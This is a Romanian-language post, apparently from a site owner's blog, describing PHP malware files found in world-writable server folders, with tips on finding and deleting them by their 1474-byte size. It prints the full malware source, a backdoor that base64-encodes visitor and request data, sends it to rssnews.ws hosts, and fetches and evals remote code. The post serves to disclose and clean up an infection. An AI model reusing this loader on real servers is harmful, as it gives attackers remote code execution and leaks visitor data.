Astazi am avut surpriza sa gasesc cateva fisiere php dubioase pe server la mine. Nu stiu exact cum a avut loc atacul, dar voi incerca sa il descriu.
Se pare ca acum 3 zile cineva a inceput sa scaneze pe server si unde gasea foldere chmod 777 baga cate un fisier php de forma abcdef.php, unde abcdef sunt cifre care apartin [0,9]. Nu e obligatoriu ca numele sa aiba exact 6 cifre. Codul sursa a fost destul de bine facut putandu-se lua shell pe orice server care contine macar un fisier de genul acesta. Mai exact codul php din fisier incearca sa includa un fisier de pe domeniul 7.rssnews.ws. Ce este interesant totusi la acest nou atac este ca fiecare fisier php creat are 1474 bytes. Astfel putem face o cautare pe server care sa verifice conditia ca fisierul sa aiba exact 1474 bytes si sa stergem fisierele care au numele de forma celui sus-mentionat.
Cei care au wordpress pe server vor vedea ca fisierul “media-upload.js” are aceeasi dimensiune. Totusi acesta NU are legatura cu virusul si nu trebuie sters.
Mai jos aveti si codul cu pricina. Asta pentru cei curiosi. :)
<?php
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);
$f=base64_decode("cnNzbmV3cy53cw==");
if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="4b3a309cff447ae52b6c4ebe762e3796")
$f=$_REQUEST["id"];
if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));
else
if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z)) eval($c);
else {
$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o=curl_exec($cu);
curl_close($cu);
eval($o);
};
die();
?>
N-are rost sa explicam si codul pentru a nu da idei unor oameni cu prea mult timp liber.
Cum puteti scapa de acest virus?
Puteti face o cautare direct pe server dupa dimensiunea fisierului sau cu ajutorul programului FileZilla.
Totusi, cea mai buna solutie ar fi sa puneti un shell php pentru a sterge fisierele, deoarece au fost create avand owner httpd. Adica au fost create din php si vor trebuie sterse tot de acolo.

